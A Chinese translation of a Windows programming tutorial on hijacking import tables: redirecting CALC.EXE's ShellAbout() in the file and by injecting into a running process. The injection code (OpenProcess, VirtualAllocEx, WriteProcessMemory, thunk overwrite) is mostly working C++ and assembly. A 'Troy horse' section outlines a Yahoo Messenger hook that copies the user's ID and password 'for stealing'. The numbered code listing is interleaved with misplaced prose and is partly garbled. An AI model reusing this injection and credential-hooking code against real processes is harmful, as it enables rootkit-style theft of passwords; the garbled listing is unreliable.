导入表内注入代码(二)
作者: Ashkbiz Danehkar
翻译:小刀人
你称之为什么?
这次我想用这个技术改变一个API的功能。我不能确定是否我们可以再称之为API redirection。在这个例子中,我重定向CALC.EXE的ShellAbout()对话框到我的"Hello World!"消息框(在pemaker7.zip中)。你将看到用前述代码并做很少的改动就可以多么容易地实现它。
...
//================================================================
push edi
push esi
push ebx
mov ebx,[ebp-10h]
push ebx
push ebx
call _char_upper
mov esi,[ebp-10h]
mov edi,[ebp+010h]// [ebp+_p_szShell32]
_it_fixup_1_check_dll_redirected:
push edi
call __strlen
add esp, 4
mov ebx,eax
mov ecx,eax
push edi
push esi
repe cmps//byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_check_func_name
jmp _it_fixup_1_no_check_func_name
_it_fixup_1_check_func_name:
mov edi,[ebp+014h]// [ebp+_p_szShellAbout]
push edi
call __strlen
add esp, 4
mov ecx,eax
mov esi,[ebp-18h]
mov edi,[ebp+014h]// [ebp+_p_szShellAbout]
repe cmps //byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_do_normal_it_0
_it_fixup_1_no_check_func_name:
pop esi
pop edi
add edi,ebx
cmp byte ptr [edi],0
jnz _it_fixup_1_check_dll_redirected
mov ecx,[ebp-08h]
mov eax,[ebp-014h]
mov [ecx],eax
jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
pop esi
pop edi
mov ecx,[ebp-08h]
mov edi,[ebp+18h]
mov [ecx],edi// move address of new function to the thunk
_it_fixup_1_do_normal_it_1:
pop ebx
pop esi
pop edi
//================================================================
...
我假定这个例程是连续地如下:
1.检查DLL名称是否是"Shell32.DLL"。
2.检查Function名称是否是"ShellAboutW"。
3.如果条件1和2均正确,重定向ShellAbout()的thunk到新的函数。
这个新的函数是一个简单的消息框:
_ShellAbout_NewCode:
_local_0:
pushad// save the registers context in stack
call _local_1
_local_1:
pop ebp
sub ebp,offset _local_1 // get base ebp
push MB_OK | MB_ICONINFORMATION
lea eax,[ebp+_p_szCaption]
push eax
lea eax,[ebp+_p_szText]
push eax
push NULL
call _jmp_MessageBox
// MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
popad// restore the first registers context from stack
ret 10h
当你计划用一个新的函数取代一个API时,你应该考虑一些要点:
- 不能用missing the stack point 破坏Stack memory。因此,需要用ADD ESP,xxx或RET xxx恢复最后的原始栈指向(original stack point)。
- 为了保持除EAX外线寄存器的大多数安全,要用PUSHAD和POPAD捕获和恢复它们。
正如你看到的,我已经用了PUSHAD和POPAD来回收线程寄存器。对于此情况,ShellAbout(),它有4个DWORD成员因此栈指针在返回时被增加0x10。在重定向ShellAbout()后,你可以尝试从Help(帮助)菜单点击About Calculator(关于计算器),你将看到它对目标CALC.EXE做了什么。
图 9 – 重定向About Calculator(关于计算器)到一个消息对话框
EXE protectors用此方法操作目标;它们建立重定向到它们附加的存储空间,下一节将讨论。
4.防止反向(工程)
使用复杂的API重定向技术来重建一个导入表是极其困难的。有时像Import REConstructor一样的工具,图 10,将难于重建导入表,重定向特别专长于多态代码(polymorphism code)image。在反向工程世界里Import REConstructor是一个著名的工具;它会挂起目标进程以便于捕获导入信息。如果你像一个明喻(simile)JMP一样做一个重定向,肯定会用该工具让它被重建,然而如果我们将Function名称加密并用在内存中的多态代码捆绑之,它(译注:该工具)将对获得正确的导入表产生困惑。我们通过这个技术发布我们的EXE protector,Native Security Engine [6]是一个依此方法的packer。它有一个x86代码生成器附加一个metamorphism(变态或变体)引擎,两者共同帮助建立一个复杂的重定向结构。
图 10 - Import REConstructor, MackT/uCF2000
图11展示了在EXE protectors中的导入保护的主要策略。其中一些对虚拟Win32库(virtual Win32 libraries)用到重定向。举个例子,它们有Kernel32、 User32、和 AdvApi32虚拟(virtual libraries)库。它们使用它们自己的库以防止被黑掉或安装它们的虚拟机。
图 11 - Import Table Protection
通过这种技术来切断外界访问是可以达到目标的。正如你所看到的,MoleBox行为相同,它过滤了FindFirstFile()和FindNextFile()以在打包文件内部合并TEXT文件和JPEG文件。当程序意图从硬盘找到一个文件,它将被重定向到内存。
5.运行时导入表注入
现在我想要论述更为深入的主题。该主题对于希望理解在Windows System上的用户级(ring-3) rootkits [7]操作的人们是会特别感兴趣的。首先也是最终的问题,注入一个运行时进程的导入表是怎样做到的,该节将回答这个问题。我们想要注入一个运行时进程并修改之。你是否记得:在我得以前的文章[2],我创建了一个Windows Spy来捕获Windows Class的属性并在运行时修改他们。这一次,我将走近改写内存和从外界重定向导入表。
1. 通过使用WindowFromPoint()我们能获得一个特定点的窗体句柄,GetWindowThreadProcessId()帮助我们知道该窗体句柄的进程ID和线程ID。
2. POINT point;8. 进程和线程的句柄由OpenProcess()和OpenThread()获得。但是在Windows 98中没有OpenThread()。不要担心,用EliCZ’找到RT,一个在Windows 98中模拟OpenThread(), CreateRemoteThread(),VirtualAllocEX(), 和 VirtualFreeEx()的库。
3. HWND hWindowUnderTheMouse = WindowFromPoint(point);
4. ...
5. DWORD dwProcessId;
6. DWORD dwThreadId;
7. dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);
9. HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );11. 为了开始操作进程的内存,我们应该首先通过挂起主线程冻结进程。
10. HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);
12. SuspendThread(hThread);13. Thread Environment Block (TEB)位置可以通过我们没有权限访问的FS:[18]获得!因此GetThreadContext() 和 GetThreadSelectorEntry()帮助我们来了解FS段的基值。
14. CONTEXT Context;25. Thread Environment Block (线程环境块TEB)通过读取目标进程的虚拟内存内部它的位置来获得。该线程和进程环境块, 图 12,在"Undocumented Windows 2000 secrets" [4]中有详尽解释,另外NTInternals team[ 5]展示了完整的TEB 和 PEB定义。正如我猜测的,Microsoft team(微软开发团队)忘记提供关于它们的信息或无意于让它们公之于众!正是这个原因让我喜欢Linux team:)
15. LDT_ENTRY SelEntry;
16.
17. Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
18. GetThreadContext(hThread,&Context);
19.
20. // Calculate the base address of FS
21. GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
22. DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |
23. (SelEntry.HighWord.Bits.BaseMid << 16) |
24. SelEntry.BaseLow;
26. PTEB pteb = new TEB;
27. PPEB ppeb = new PEB;
28. DWORD dwBytes;
29.
30. ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB), &dwBytes);
31. ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB), &dwBytes);
图 12 - The Thread Environment Blocks and the Process Environment Block
32. 从进程环境块信息中可以发现当前进程的内存中的PE image的image base(基址)。
33. DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;34. ReadProcessMemory()帮助我们来读取PE文件的完整image。
35. PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;57. 我们查看DLL名称和thunk值以找到我们的目标并重定向之。在这个例子中,DLL名称为Shell32.dll以及thunk是ShellAbout()的虚地址。
36. PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;
37.
38. ReadProcessMemory( hProcess,
39. (LPCVOID)dwImageBase,
40. pimage_dos_header,
41. sizeof(IMAGE_DOS_HEADER),
42. &dwBytes);
43. ReadProcessMemory( hProcess,
44. (LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew),
45. pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),
46. &dwBytes);
47.
48. PCHAR pMem = (PCHAR)GlobalAlloc(
49. GMEM_FIXED | GMEM_ZEROINIT,
50. pimage_nt_headers->OptionalHeader.SizeOfImage);
51.
52. ReadProcessMemory( hProcess,
53. (LPCVOID)(dwImageBase),
54. pMem,
55. pimage_nt_headers->OptionalHeader.SizeOfImage,
56. &dwBytes);
58. HMODULE hModule = LoadLibrary("Shell32.dll");140. 为了重定向而用VirtualProtectEx()创建了一个额外存储空间。我们将生成代码并将其写入新的备用空间(spare space)。
59. DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");
60.
61. DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
62. hProcess,
63. NULL,
64. 0x01D000,
65. MEM_COMMIT,
66. PAGE_EXECUTE_READWRITE);
67.
68. RedirectAPI(pMem, dwShellAbout, dwRedirectMem);
69.
70. ...
71.
72. int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)
73. {
74. PCHAR pThunk;
75. PCHAR pHintName;
76. DWORD dwAPIaddress;
77. PCHAR pDllName;
78. DWORD dwImportDirectory;
79.
80. DWORD dwAPI;
81.
82. PCHAR pImageBase = pMem;
83. //----------------------------------------
84. PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor;
85. PIMAGE_THUNK_DATA pimage_thunk_data;
86. //----------------------------------------
87. PIMAGE_DOS_HEADER pimage_dos_header;
88. PIMAGE_NT_HEADERS pimage_nt_headers;
89. pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
90. pimage_nt_headers = (PIMAGE_NT_HEADERS)(pImageBase+pimage_dos_header->e_lfanew);
91. //----------------------------------------
92. dwImportDirectory=pimage_nt_headers->OptionalHeader
93. .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
94. if(dwImportDirectory==0)
95. {
96. return -1;
97. }
98. //----------------------------------------
99. pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(pImageBase+dwImportDirectory);
100. //----------------------------------------
101. while(pimage_import_descriptor->Name!=0)
102. {
103. pThunk=pImageBase+pimage_import_descriptor->FirstThunk;
104. pHintName=pImageBase;
105. if(pimage_import_descriptor->OriginalFirstThunk!=0)
106. {
107. pHintName+=pimage_import_descriptor->OriginalFirstThunk;
108. }
109. else
110. {
111. pHintName+=pimage_import_descriptor->FirstThunk;
112. }
113. pDllName=pImageBase+pimage_import_descriptor->Name;
114.
115. StrUpper(pDllName);
116. if(strcmp(pDllName,"SHELL32.DLL")==0)
117. {
118. pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
119. while(pimage_thunk_data->u1.AddressOfData!=0)
120. {
121. //----------------------------------------
122. memcpy(&dwAPI, pThunk, 4);
123. if(dwAPI==API_voffset)
124. {
125. memcpy(pThunk, &NEW_voffset, 4);
126. return 0;
127. }
128. //----------------------------------------
129. pThunk+=4;
130. pHintName+=4;
131. pimage_thunk_data++;
132. }
133. }
134. pimage_import_descriptor++;
135. }
136. //----------------------------------------
137. return -1;
138. }
139.
141. DWORD dwRedirectMem = (DWORD)VirtualAllocEx(159. loader被写在额外的存储空间。它有显示一个简单消息框的代码。
142. hProcess,
143. NULL,
144. 0x01D000,
145. MEM_COMMIT,
146. PAGE_EXECUTE_READWRITE);
147.
148. ...
149.
150. PCHAR pLdr;
151. DWORD Ldr_rsize;
152. GetLdrCode(pLdr, Ldr_rsize);
153.
154. WriteProcessMemory( hProcess,
155. (LPVOID)(dwRedirectMem),
156. pLdr,
157. Ldr_rsize,
158. &dwBytes);
160. void GetLdrCode(PCHAR &pLdr, DWORD &rsize)199. 可执行的image在修改后被写到内存上。不要忘了在写之前对内存设置完全存取权限。
161. {
162. HMODULE hModule;
163. DWORD dwMessageBox;
164.
165. PCHAR ch_temp;
166. DWORD dwCodeSize;
167. ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_START_MAGIC))+4;
168. dwCodeSize=DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
169. rsize= dwCodeSize;
170. pLdr = (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);
171. memcpy(pLdr, ch_temp, dwCodeSize);
172.
173. ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);
174.
175. hModule = LoadLibrary("User32.dll");
176. dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");
177. memcpy(ch_temp+4, &dwMessageBox, 4);
178. }
179. ...
180. _ShellAbout_NewCode:
181. _local_0:
182. pushad // save the registers context in stack
183. call _local_1
184. _local_1:
185. pop ebp
186. sub ebp,offset _local_1// get base ebp
187. push MB_OK | MB_ICONINFORMATION
188. lea eax,[ebp+_p_szCaption]
189. push eax
190. lea eax,[ebp+_p_szText]
191. push eax
192. push NULL
193. mov eax, [ebp+_p_MessageBox]
194. call eax
195. // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
196. popad // restore the first registers context from stack
197. ret 10h
198. ...
200. VirtualProtectEx( hProcess,
201. (LPVOID)(dwImageBase),
202. pimage_nt_headers->OptionalHeader.SizeOfImage,
203. PAGE_EXECUTE_READWRITE,
204. &OldProtect);
205.
206. WriteProcessMemory( hProcess,
207. (LPVOID)(dwImageBase),
208. pMem,
209. pimage_nt_headers->OptionalHeader.SizeOfImage,
210. &dwBytes);
VirtualProtectEx()设置了页有权访问PAGE_EXECUTE_READWRITE保护类型。在WriteProcessMemory被使用时用PAGE_READWRITE访问和在executable page的情况下PAGE_EXECUTE都是必需的。
211. 现在进程准备解冻且生命期将再次启动,但是发生了那么多事。试一下about菜单项你将看见: 图 13,这是注入生命期的第一个显示。
212. ResumeThread(hThread);
图 13 -运行时注入ShellAbout() Thunk
我正在考虑其他API thunks的注入,正如我们可以上载其他动态链接库到目标进程里并重定向victim thunk到之,这已在另一文章[3]完全解释了。下一节论述一点关于该实现(重定向技术)带来的灾难之一。你可以自己想像一下其他可能的灾难。
6. Troy horse(特洛伊木马)
总是阻止你浏览器上弹出(窗口)并关闭在你的Internet Explorer自动安装的Active-X控件及插件。它将进入到你的计算机的一个OLE 组件或一个小的DLL插件中以及进入到一个进程的生命期中。有时,这个生命期在一个指定进程的导入表中,比如Yahoo Messenger or MSN Messenger。它可以钩住所有Windows控件并过滤API,哦我的天!我e-mail的密码到哪里去了!这是用户级rootkit [7]的一种可能。它可以植入到你的计算机并偷走你的重要消息。
your important information. The Antivirus only can scan the file image; they lost
Antivirus(杀毒软件)只可以扫描到这个文件的image;它们完全失去了它们对运行时进程注入的的控制。因此在你遨游互联网时;要小心并一直使用一个功能强大的防火墙。
Yahoo Messenger hooker是如何工作的?
我下面解析写一个Yahoo Messenger hooker的实际步骤:
- 用类名称通过FindWindow()获得Yahoo Messenger的句柄。
- HWND hWnd = FindWindow("YahooBuddyMain", NULL);
- 像上一节一样,实现一个注入到它的进程。
- 在GetDlgItemText()的import thunk上执行这个注入以过滤其成员。
- UINT GetDlgItemText( HWND hDlg,
- int nIDDlgItem,
- LPTSTR lpString,
- int nMaxCount);
- 比较对话项ID (dialog item ID),用特定ID来探测哪一项当前正在使用。如果ID被找到,用普通的GetDlgItemText()钩住字符串。
- CHAR pYahooID[127];
- CHAR pPassword[127];
- switch(nIDDlgItem)
- {
- case 211: // Yahoo ID
- GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing
- // ...
- GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
- break;
- case 212: // Password
- GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing
- // ...
- GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
- break;
- default:
- GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
- }
图 14 - Hooking Yahoo Messenger
现在我相信没有完全的安全了。某人只用很少的代码就可以偷走我的Yahoo ID和其密码。我们生活在一个不安全的世界!
7.结论
Import Table是一个Windows executable文件的特殊部分。导入表实现技术的知识帮助我们认识到API在运行时是如何被请求的。你可以重定向导入表到当前进程内存的其他executable内存来阻止用你自己的PE loader的反向工程行为以及也可以钩住API函数。通过从外界冻结和解冻进程修改在运行时中的进程的导入表是可能的,这个灾难迫使我们在安全装置上更多地考虑,比如反病毒、防火墙、其它等等;然而它们并不能有助于防止每天世界上诞生的新的(攻击)方法。此外,这个概念帮助我们建立我们的虚拟机监视器(virtual machine monitor)以在Windows 或 Linux系统内部的一个独立环境内运行Windows executable 文件,此我不再需要Windows System来就可运行我的 Windows EXE文件。
更多读物:
- Inject your code to a Portable Executable file, The Code Project, December 2005.
- Capturing Window Controls and Modifying their properties, The Code Project, February 2005.
- Three Ways to Inject Your Code into Another Process, Robert Kuster , The Code Project, July 2003.
文档:
- Undocumented Windows® 2000 Secrets: A Programmer''s Cookbook, Sven B. Schreiber, Addison-Wesley, July 2001, ISBN 0-201-72187-2.
- Undocumented Functions for Microsoft® Windows® NT®/ 2000, Tomasz Nowak and others, NTInternals team, 1999-2005.
链接: